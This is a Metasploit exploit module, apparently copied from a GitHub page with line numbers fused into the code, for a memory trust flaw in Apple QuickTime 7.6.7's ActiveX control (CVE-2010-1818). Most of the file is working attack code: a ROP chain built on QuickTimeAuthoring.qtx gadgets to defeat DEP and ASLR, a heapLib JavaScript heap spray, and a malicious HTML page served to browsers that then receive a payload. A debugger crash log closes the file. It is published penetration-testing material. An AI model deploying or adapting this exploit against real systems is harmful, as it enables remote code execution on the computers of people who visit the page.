Path: blob/master/modules/exploits/windows/browser/apple_quicktime_marshaled_punk.rb
19721 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = GreatRanking78include Msf::Exploit::Remote::HttpServer::HTML9include Msf::Exploit::Seh1011# include Msf::Exploit::Remote::BrowserAutopwn12# autopwn_info({13# :os_name => OperatingSystems::Match::WINDOWS,14# :ua_name => HttpClients::IE,15# :javascript => true,16# :rank => NormalRanking, # reliable memory corruption17# })1819def initialize(info = {})20super(21update_info(22info,23'Name' => 'Apple QuickTime 7.6.7 _Marshaled_pUnk Code Execution',24'Description' => %q{25This module exploits a memory trust issue in Apple QuickTime267.6.7. When processing a specially-crafted HTML page, the QuickTime ActiveX27control will treat a supplied parameter as a trusted pointer. It will28then use it as a COM-type pUnknown and lead to arbitrary code execution.2930This exploit utilizes a combination of heap spraying and the31QuickTimeAuthoring.qtx module to bypass DEP and ASLR. This module does not32opt-in to ASLR. As such, this module should be reliable on all Windows33versions.3435NOTE: The addresses may need to be adjusted for older versions of QuickTime.36},37'Author' => [38'Ruben Santemarta', # original discovery39'jduck' # Metasploit module40],41'License' => MSF_LICENSE,42'References' => [43[ 'CVE', '2010-1818' ],44[ 'OSVDB', '67705'],45[ 'URL', 'http://reversemode.com/index.php?option=com_content&task=view&id=69&Itemid=1' ]46],47'DefaultOptions' => {48'EXITFUNC' => 'thread',49'InitialAutoRunScript' => 'post/windows/manage/priv_migrate',50},51'Payload' => {52'Space' => 384, # perhaps more?53'BadChars' => "", # none...54'DisableNops' => true,55'PrependEncoder' => Metasm::Shellcode.assemble(Metasm::Ia32.new, "mov esp,ebp").encode_string, # fix esp up56},57'Platform' => 'win',58'Targets' => [59# Tested OK:60#61# QT 7.6.6 + XP SP3 + IE862# QT 7.6.7 + XP SP3 + IE663#6465# @eromang reports it doesn't work on 7.6.566# - further investigation shows QuickTimeAuthoring.qtx changed / rop gadgets different6768# QuickTimeAuthoring.qtx 7.6.7 is compiled w/DYNAMIC_BASE, so win7 is :(6970[71'Apple QuickTime Player 7.6.6 and 7.6.7 on Windows XP SP3',72{73'Ret' => 0x677a0000, # base of QuickTimeAuthoring.qtx74# 'Ret' => 0x67780000, # base of QuickTimeAuthoring.qtx v7.6.575}76],77],78'Privileged' => false,79'DisclosureDate' => '2010-08-30',80'DefaultTarget' => 0,81'Notes' => {82'Reliability' => UNKNOWN_RELIABILITY,83'Stability' => UNKNOWN_STABILITY,84'SideEffects' => UNKNOWN_SIDE_EFFECTS85}86)87)88end8990def on_request_uri(client, request)91return if ((p = regenerate_payload(client)) == nil)9293print_status("Sending exploit HTML...")9495shellcode = Rex::Text.to_unescape(p.encoded)9697# We will spray to this address, hopefully98spray_target = 0x15220c2099100# This is where our happy little dll is loaded101# 677a0000 679ce000 QuickTimeAuthoring C:\Program Files\QuickTime\QTSystem\QuickTimeAuthoring.qtx102rop_mod_base = target.ret103104sploit = [105spray_target - 8,106107# This first piece of code points the stack pointer to our data!108# NOTE: eax, ecx, and esi all point to our spray at this point.109rop_mod_base + 0x79c12, # xchg eax,esp / pop edi / pop esi / ret110111# The second one becomes the new program counter after stack flip.112rop_mod_base + 0x1e27, # pop ecx / ret113rop_mod_base + 0x170088, # the IAT addr for HeapCreate (becomes ecx)114115# We get the address of HeapCreate from the IAT here.116rop_mod_base + 0x10244, # mov eax,[ecx] / ret117118# Call HeapCreate to create the k-rad segment119rop_mod_base + 0x509e, # call eax1200x01040110, # flOptions (gets & with 0x40005)1210x01010101, # dwInitialSize1220x01010101, # dwMaximumSize123124# Don't bother calling HeapAlloc, just add 0x8000 to the Heap Base125126# Set ebx to our adjustment127rop_mod_base + 0x307a, # pop ebx / ret1280x8000, # becomes ebx129130# Adjust eax131rop_mod_base + 0xbfb5b, # add eax,ebx / ret132133# Save our buffer pointer off to this address134rop_mod_base + 0x1e27, # pop ecx / ret135rop_mod_base + 0x2062d4, # something writable136137# Write eax to the address138rop_mod_base + 0x8fd6, # mov [ecx], eax / ret139140# Now we must copy our real payload into the buffer141142# First, setup edi143rop_mod_base + 0x134fd5, # xchg eax,edi / ret144145# Get ESI from EDI (which is now in EAX)146rop_mod_base + 0x103ff8, # push eax / pop esi / pop ebx / ret1470x41414141, # scratch (becomes ebx)148149# Set ECX from the stack150rop_mod_base + 0x1e27, # pop ecx / ret1510x200 / 4, # dwords to copy :)152153# copy it!154rop_mod_base + 0x778d2, # rep movsd / pop edi / pop esi / ret1550x41414141, # scratch (becomes edi)1560x41414141, # scratch (becomes esi)157158# Re-load the buffer pointer address159rop_mod_base + 0x1e27, # pop ecx / ret160rop_mod_base + 0x2062d4, # something writable161162# And the pointer value itself163rop_mod_base + 0x10244, # mov eax,[ecx] / ret164165# Set ebx to our adjustment166rop_mod_base + 0x307a, # pop ebx / ret1670x42424242, # will be filled after array init168169# Adjust eax170rop_mod_base + 0xbfb5b, # add eax,ebx / ret171172# Jump!173rop_mod_base + 0x509e, # call eax174175# eh? Hopefull we didn't reach here.1760xdeadbeef177]178sploit[27] = 8 + (sploit.length * 4)179sploit = sploit.pack('V*')180sploit << p.encoded181sploit = Rex::Text.to_unescape(sploit)182183custom_js = <<~EOF184function Prepare()185{186var block = unescape("#{sploit}");187while(block.length < 0x200)188block += unescape("%u0000");189heap = new heapLib.ie(0x20000);190while(block.length < 0x80000)191block += block;192finalspray = block.substring(2, 0x80000 - 0x21);193for(var i = 0; i < 350; i++)194{195heap.alloc(finalspray);196}197}198199function start()200{201var obj = '<' + 'object classid="clsid:02BF25D5-8C17-4B23-BC80-D3488ABDDC6B" width="0" height="0"'+'>'202+ '</'+ 'object>';203document.getElementById('stb').innerHTML = obj;204Prepare();205var targ = #{spray_target};206var obj = '<' + 'object classid="clsid:02BF25D5-8C17-4B23-BC80-D3488ABDDC6B" width="0" height="0"' + '>'207+ '<' + 'PARAM name="_Marshaled_pUnk" value="' + targ + '"' + '/>'208+ '</'+ 'object>';209document.getElementById('xpl').innerHTML = obj;210}211EOF212213hl_js = heaplib(custom_js)214215content = <<~EOF216<html>217<head>218<script language="javascript">219#{hl_js}220</script>221</head>222<body onload="start()">223<div id="stb"></div>224<div id="xpl"></div>225</body>226</html>227EOF228229# ..230send_response(client, content, { 'Content-Type' => "text/html" })231232# Handle the payload233handler(client)234end235end236237=begin238(7fc.a4): Access violation - code c0000005 (first chance)239First chance exceptions are reported before any exception handling.240This exception may be expected and handled.241eax=15220c20 ebx=00134ca8 ecx=15220c18 edx=00134b98 esi=15220c20 edi=00134bfc242eip=deadbe01 esp=00134b7c ebp=00134b90 iopl=0 nv up ei pl nz na po nc243cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010202244deadbe01 ?? ???245=end246247248